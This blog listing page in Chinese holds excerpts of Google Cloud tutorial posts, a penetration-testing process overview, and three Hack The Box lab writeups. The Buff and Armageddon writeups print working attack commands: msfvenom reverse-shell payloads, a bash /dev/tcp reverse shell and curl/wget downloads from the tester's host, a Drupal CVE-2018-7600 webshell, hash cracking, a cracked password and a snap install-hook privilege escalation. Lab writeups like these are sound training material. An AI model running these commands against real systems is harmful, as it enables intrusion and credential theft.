[Day9] Cloud SQL (2021 鐵人賽 – Cloud)

昨天介紹完了儲存各種檔案可以使用的 Cloud Storage,今天要來介紹另外一個很常見的儲存服務:SQL。相信有架過網站的人都知道 SQL 的重要性, SQL 屬於一種 RDBMS (Relational Database Management System),關聯性資料庫系統,相較於非 RDBMS 的資料庫系統,我們通常會稱為 NoSQL。 在通常的情況下,如果我們需要架設一個 SQL 的 Server , 可能會先準備一台伺服器,安裝完作業系統後,再使用 Docker;或直接安裝 SQL 的資料庫程式,建立一個資料庫的伺服器。 如果透過了 Cloud SQL,我們可以將這一系列的事情全部交給 Google,僅需要一鍵開啟一台 Cloud SQL 的機器即可。 Cloud SQL 目前支援 MySQL 、 PostgreSQL 與 Microsoft SQL Server 的資料庫服務。 Cloud SQL 還有以下幾種優點: Automatic update如果各大 SQL 服務出現了重大的漏洞與更新,Google 可以自動化的將服務更新。Automatic replication- Cloud SQL 支援自動複製,可以直接複製一台當前的 SQL 機器,提供備份或測試等多種使用情境。Managed backups- Cloud SQL 可以負責自動化的管理備份,每個 instance 最多可以管理 7 個備份。Scaling- 可以讓擴展機器,將目前的機器硬體規格升級成更高級 需要重新開機 SQL 性能 透過 Cloud SQL 選擇的 instance 會對 SQL 的效能進行最佳化,最高可以使用: ...

2021-09-24 · 1 分鐘 · steven

[Day8] Storage (2021 鐵人賽 – Cloud)

介紹完了虛擬機器與網路後,接下來要跟各位介紹的是關於雲端的儲存方案。Google Cloud 有許多雲端儲存的服務可以供大家選擇,例如 Cloud Storage 、 Cloud SQL 、 Cloud Spanner 、 Cloud Datastore 與 Cloud Bigtable。今天會與各位介紹最直觀,最直覺的 Cloud Storage。 簡介 Cloud Storage 主要可以用來儲存各種 Binary 的檔案,例如圖片檔、壓縮檔等。根據新聞報導,包含了蘋果、抖音等各大公司,背後都有使用到 Google Cloud 的 Storage 服務,蘋果更是使用到了 8 Exabytes 之多。如果沒有意外的話,Google Drive 背後就是運行 Cloud Storage 的服務。 Cloud Storage 預設會將所有資料進行加密,並使用 HTTPS / TLS 進行傳輸。可以取得 HTTPS 的直接連結,作為圖床使用。 Cloud Storage 不能算是一種檔案系統,它是透過 Bucket 的方式儲存不可變(immutable) 的檔案;不過也有第三方的工具 Cloud Storage FUSE 可以將 Cloud Storage 掛載成虛擬的網路硬碟。 Class Cloud Storage 分成了 4 種不同的 Class , 分別是 Multi-regional 、 Regional 、 Nearline 與 Coldline,他們的價格與使用情境有許多的不同。 ...

2021-09-23 · 1 分鐘 · steven

Celestial (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/130 IP : 10.129.217.35 Recon 掃 PortnmapAutomator.sh -H 10.129.217.35 -t recon 掃路徑- 首頁 404- 發現有餅乾- F5 後- 發現餅乾是 Serialize Serialize import requests import base64 src = b'{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}' dst = base64.b64encode(src).decode('ascii') cookies = { 'profile': dst } headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'If-None-Match': 'W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"', 'Cache-Control': 'max-age=0', } response = requests.get('http://10.129.217.35:3000/', headers=headers, cookies=cookies) print(response.text) 亂戳 {"username": "meow" ,"country":"Idk Probably Somewhere Dumb","city":"Lametown","num": true} 會回傳 Hey meow true + true is 2 戳 ...

2021-09-23 · 2 分鐘 · steven

Buff (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/263 IP : 10.129.2.18 Recon 掃 Port掃目錄- /Readme.md觀察首頁- SQL 檔案 找到專案 Project- https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/ 預設密碼,登入失敗試用 Exploit- 準備另外一個 reverse shell- 確認 Systeminfo- 取 Userflag- 提權 確認 Defender 有開產 Shell- msfvenom -p php/reverse_php LHOST=10.10.16.35 LPORT=7877 -f raw > shell.php powershell -c "wget http://10.10.16.35/shell.php -outFile shell.php"亂逛系統- 觀察開的 Port- netstat -ano -p tcp 觀察執行中的 Process- tasklist 發現 Downloads 資料夾有 CloudMe_1122.exe- 觀察開的 Port- 8888 但他只綁 127.0.0.1 Exploit 本地端執行./chisel server -p 9999 --reverse遠端執行- chisel.exe client 10.10.16.35:9999 R:8888:127.0.0.1:8888 把 Port 轉回 127.0.0.1:8888收封包- 使用 Exploit- https://www.exploit-db.com/exploits/48389修改 shell code- msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.35 LPORT=4444 EXITFUNC=thread -b "\x00\x0d\x0a" -f python 收 Reverse shell- 取得 Root flag-

2021-09-23 · 1 分鐘 · steven

Armageddon (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/323 IP : 10.129.216.90 Recon nmapAutomator.sh -H 10.129.216.90 -t recon80 22 Exploit https://github.com/pimps/CVE-2018-7600 Webshell python3 drupa7-CVE-2018-7600.py http://10.129.216.90/ -c "echo ' s.php " 確認電腦裡有 curl下載 reverse shell- curl http://10.10.16.35/s_HTB -o s 但發現戳不回來傳 b374k- http://10.129.216.90/s.php?A=curl%20http://10.10.16.35/b374k.php%20-o%20s.php 戳 reverse shell 發現權限不足Try msf shell- msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f elf > shell1 給權限- 還是沒權限試試看如果連 80 port- bash -c 'bash -i >& /dev/tcp/10.10.16.35/80 0>&1' 成功 提權 收 Reverse shell載豌豆- 發現一些密碼- drupal-6.user-password-token.database.php spawn- perl -e 'exec "/bin/bash";'dump mysql- mysqldump -u drupaluser -h localhost -p drupal > a.sql找到一組 hash- 確認使用者名稱- 爆破 hash- hashcat -m 7900 hash.txt /opt/rockyou.txt 取得帳密- brucetherealadmin booboo切換使用者- 提權 直接用 SSH 登入 發現可以用 sudo snap本地- gem install fpm https://gtfobins.github.io/gtfobins/snap/#sudo照做提權- COMMAND="bash -c 'bash -i >& /dev/tcp/10.10.16.35/80 0>&1'" cd $(mktemp -d) mkdir -p meta/hooks printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta 傳上去收 Reverse shell- 取得 Root-

2021-09-23 · 1 分鐘 · steven

[Day7]Virtual Networks (2021 鐵人賽 – Cloud)

今天來介紹虛擬網路的部分,既然我們都有各種的虛擬機器、虛擬服務,那想當然,這些服務就是透過虛擬網路進行連線。虛擬網路如同現實網路一樣,也有許多需要在意與設定的地方,例如 IP 、 Routing 或防火牆等。 VPC 虛擬私人網路 (VPC, Virtual Private Cloud) , 就如同現實生活中的 LAN , 可以將虛擬網路彼此的進行連接或隔離。 一個 Project 預設可以有 5 個虛擬網路,這些網路除了自己使用之外,也可以跟其他的 Project 互相共享。這些虛擬網路中的 IP 沒有嚴格的限制範圍;我們也可以設定自己在歐洲與亞洲的機器於同一個區網內。我們也可以藉由 Cloud VPN 等方式將自己地端的設備接入雲端,Cloud VPN 相關技術將於之後的文章再跟大家介紹。 VPC 在 Google Cloud 中有三種模式,分別是 Default 、 Auto 與 Custom Default Mode 在每一個 Project 中都會預設一個 Default Mode 的網路,他們在每一個 Region (可跨 Zone) 中都是一個 Subnet,所以,它有預設的防火牆 Rule。事實上, Default Mode 的 VPC 網路,就是透過接下來要介紹的 Auto Mode 生出來的。 Auto Mode Auto Mode 如同 Default Mode,它會自動生成,每一個 Region 中會有一個 Subnet,而每一個 Subnet 預設的 IP Range 使用了 /20 的子網路遮罩,最高可以擴充為 /16。 ...

2021-09-22 · 1 分鐘 · steven

[Day6]Virtual Machines (2021 鐵人賽 – Cloud)

今天要來介紹的是雲端的虛擬機器 (VM),屬於雲端 IaaS 最具有代表的一項產品。相信有許多讀者應該都有在自己電腦上使用虛擬機的經驗吧?例如 Virtual Box 或 VMWare 等程式,虛擬機在實用上有非常多的優點。 虛擬機的優點 虛擬機最大的優點就是可以與實體機器隔離,做任何的事情都不會影響到原始的機器。除此之外,在假設 Host 電腦的效能與容量足夠的前提下,我們也可以隨時地變更虛擬機的硬碟大小、CPU大小、硬碟容量等。我們也可以直接針對整台虛擬機的映像(image)檔案進行快照(snapshot),作為即時的備份使用。 如果我們有很多台的虛擬機,也可以建立虛擬的網路將他們互相連起來;有關雲端的虛擬網路 (VPC),我們會留到明天再跟各位進行介紹。 上述這些虛擬機的優點,無論是地端與雲端的設備都可以運用的到,而雲端的機器由於是交由服務商進行管理,所以對於正常使用者來說,我們可以視為 host 的機器將近是無限大,想要開多少都沒有問題! vCPU 與 Throughput 一個 vCPU 等同於一個硬體的超值行續 (Hyper-Theread),以目前的 GCP 規定,一台的 VM 最多可以開 96 個 vCPU 。 一個 vCPU 的 網路吞吐量 (throughput) 為 2Gbps。到目前為止,若使用一台大於等於 16顆 vCPU 的裝置,其網路的 throughput 最高為 32Gbps。如果開啟特殊的虛擬機,例如使用到高級 GPU 的 V4 或是 V100 ,則可以到 100 Gbps。 Storage 虛擬硬碟方面,在 GCP 上面也有幾種選擇,分別是 Standard 、 SSD 與 Local SSD。不同的硬碟選擇,想當然的,就是他們的性能與價格有所差距,大家可以依照自己的需求選擇最適合的硬碟解決方案,而這三種硬碟分別的差距如下: Standard可以理解成普通的電腦機械式硬碟 透過網路連接上 VM 它們的容量可以視需求彈性的增加(只能增加不能減少) 最大值在每台 VM 上可以有 257 個 TB 最便宜SSD- 相對於 Standard ,可以有更高的 IOPS 透過網路連接上 VM 也可以在線的增加容量(只能增加不能減少) 最大值在每台 VM 上可以有 257 個 TB 價格其次Local SSD- 比起 SSD 有更高的吞吐量,且低延遲 直接硬體的連接在 VM 上 關閉、刪除 VM 後,資料就會被刪除 通常拿來作為 swap 使用 單顆 Local SSD 最大容量為 375GB 一台 VM 最多可以連結 8 顆 Local SSD VM Access 通常我們訪問雲端的 VM 都是藉由網路的方式,在大多數情況下, Linux 的作業系統我們會使用預設為 22 Port 的 SSH,而 Windows 作業系統則會使用預設為 3389 Port 的遠端桌面連線 (RDP)。 ...

2021-09-21 · 2 分鐘 · steven

[Day5] Project,IAM (2021 鐵人賽 – Cloud)

今天要來介紹的是,剛進入雲端一定會面對到的部分:Project以及 IAM。我覺得這個相關的主題會是雲端裡面數一數二無聊的 QQ,但以一個完整的雲端架構而言,這卻是非常非常重要的部分。特別是 IAM 這個主題,單純這個主題,事實上身為一個雲端管理者、架構師,就可以上一整個月的課程了。 Project 任何的 GCP 服務,都會屬於一個 Google Cloud Console 的 Project,無論是管理 API 、 管理計費方式、增加其他的協作者等都是基於 Project 為單位,而一個 Project 底下則可以有許多的資源 (Resources)。 一個 Project 可以包含非常多的使用者,且每個 Project 都是一個獨立的單位,獨立的隔間,他們會分開的計費。 每一個 Project 會有三個相關的識別屬性 Project ID可以自己定義,它必須是 Global Unique 的 設定完後就不可更改Project Name- 可以自己定義,不需要 Unique 設定完後仍然可以再次修改Project Number- 不可自行定義,由 GCP 自動產出 不可自行更改 Project 階層式管理 GCP 也可以透過階層式的進行管理,以一個公司為例,通常會使用組織節點 (Organization Node),而一個公司底下可能會有不同的部門,這個時候就可以透過資料夾 (Folders) 進行管理,而每一個部門底下也可能會有多個 Project;每個 Project 底下則又可以有多個 Resources,範例如下圖所示。 圖片來源:Google Cloud Creating and managing Folders 不同的資料夾間,可以設定不同的 IAM 權限管理政策,通常來看,整個公司架構的樹狀圖中,位居越高位的管理權限越大,而越下面的權限越低。 IAM Identity and Access Management (IAM),身分以及訪問權限管理,是雲端管理之中,最最重要的一件事情。如果一個 IAM 的階層管理做得越完善,越齊全,就越不可能會遇到一些看起來很荒謬的事情。 ...

2021-09-20 · 2 分鐘 · steven

[Day4] Google Cloud (2021 鐵人賽 – Cloud)

今天的內容會跟各位介紹 Google Cloud 相關的基礎知識,希望不會不小心的講成像業配文QQ,先聲明,我沒有拿到 Google 給我的任何 $$ QQ。 GCP 提供了多種類型的服務 GCP 的服務,從低層級到高層級,包含了 IaaS 、 Hybrid 、 PaaS 、 Serverless logic 與 Automated elastic resources。越低層級的內容,使用者可以控制的參數就越多,設定也比較複雜;越高層級的服務須要設定的參數就越少,可以快速且方便的使用,不過相對應的,彈性與客制化程度就比較低。特別是機器學習的部分,Google 提供了許多方便的 API 供大家使用,這些 API 甚至可以讓不會寫程式的人快速的接入各種方便的應用。 以下為 GCP 常見的服務列表 運算資源Compute Engine Kubernetes Engine App Engine Cloud Functions ……儲存資源- Bigtable Cloud Storage Cloud SQL Cloud Spanner Cloud Datastore ……大數據- BigQuery Pub/Sub Dataflow Dataproc Datalab ……機器學習- Natural Language API Vision API Machine Learning Speech API Translate API …… Google Network 根據資料顯示, Google 目前在全世界的網路下,成載了世界的 40% 的流量,是世界上最大的網路商。它的海底光纜的總長度更超過了 10 萬公里,投資了數十億美元建至,確保了 Google 各種服務的穩定性。 ...

2021-09-19 · 1 分鐘 · steven

[Day5] Process (2021 鐵人賽 – PT)

一個滲透測試的流程,可以簡略的分成兩大階段,資訊蒐集與漏洞利用。而資訊蒐集階段則又可以分為偵查與掃描;而漏洞利用則又可以分為普通的漏洞利用與提權,這邊來與各位介紹一下這幾個階段分別具體需要實作的事情有哪些。 偵查 當我們獲取了一個目標,剛開始,我們會需要嘗試著蒐集各種與目標相關的公開情報。以公司來說,我們可以透過各種的搜尋引擎獲取機構的部分資料,例如人士、Email、電話等。很多時候這些資料對於後續的攻擊流程會有很大的幫助。 接下來我們可以試圖了解我們攻擊目標相關的資料,例如使用的作業系統版本,伺服器版本等,假設是一個指定網段的資料蒐集,除了自行的動手掃描之外,我們也可以藉由許多開放資料的平台,例如 Shodan 、 ZoomEye 等。 通常在做偵查的階段,我們也會同時的進行掃描的動作,偵查與掃描主要是為了可以讓我們更進一步的了解我們的目標,確立可以攻擊的弱點等。 掃描 在進行了一系列的偵查之後,我們就可以開始嘗試著對攻擊的目標進行資訊的掃描。通常面對一台伺服器,我們的起手式會是對端口(Port) 進行掃描,目的是觀察伺服器有開了哪一些的服務,在這邊,通常我會使用的工具是 nmap 與 rustscan 等。 如果是網頁伺服器,通常可以對網頁的目錄進行掃描,這邊常見的工具有 dirsearch 、 dirb 、 gobuster 等;部分掃描路徑的工具,也具有掃描 Sub-domain 的功能,例如 gobuster 與 ffuf 等,我們也可以觀察瀏覽器中的 header 等資訊,或是透過 Wappalyzer 工具進行分析。 偵查與掃描通常不會一次就全部的完成,例如我們掃描到了某個 Port 號,開啟了一個網頁伺服器,則可能會再透過人工方式對於這個網頁伺服器進行一些偵查的工作;而偵查完畢後,則可能更換下一個 Port 號開啟的服務進行進一步的偵查與掃描。 尋找漏洞 待我們在偵查與掃描獲得了各種的資訊,就可以試著尋找網路上對於該版本的作業系統、伺服器軟體是否有公開的弱點 (CVE),如果有相關弱點的話,是否有可以進行漏洞利用(Exploti)的腳本,在這邊,通常我會直接在 Google 上搜尋 {服務版本} Exploit,除此之外,也可以透過 exploit-db 、 searchsploit 以及 Github 等方式查找相關的利用方式。 很多時候,我們查找到了某些的漏洞,卻不一定可以馬上地進行使用。舉例來說,我們發現了某個 CMS 在相應版本中的漏洞,而它的使用條件是需要先進行登入,在這種條件下,我們可以先暫存著相關的資訊,以備不時之需,並試圖尋找與開發其他漏洞。 漏洞利用 尋找完相關的 Exploit 腳本後,我們就可以試著執行這些腳本,達到漏洞利用的效果。很多時候,我們也可能需要串接多個不同的漏洞,才能達到遠端命令執行 (RCE)。 當然在大多數情況下,我們不一定有辦法尋找到相對應版本的漏洞進行利用,這種時候就需要透過人工對各個目標進行測試。這種情境下就會比較類似 CTF 的思路,以網頁為例,通常就會以 OWASP Top 10 上常出現的漏洞開始下手進行測試。而 Binary 的 Protocol 則有可能會需要使用到 CTF 中, pwn 的相關技術,進行 Binary Exploitation 利用 Buffer Overflow 等。 ...

2021-09-19 · 1 分鐘 · steven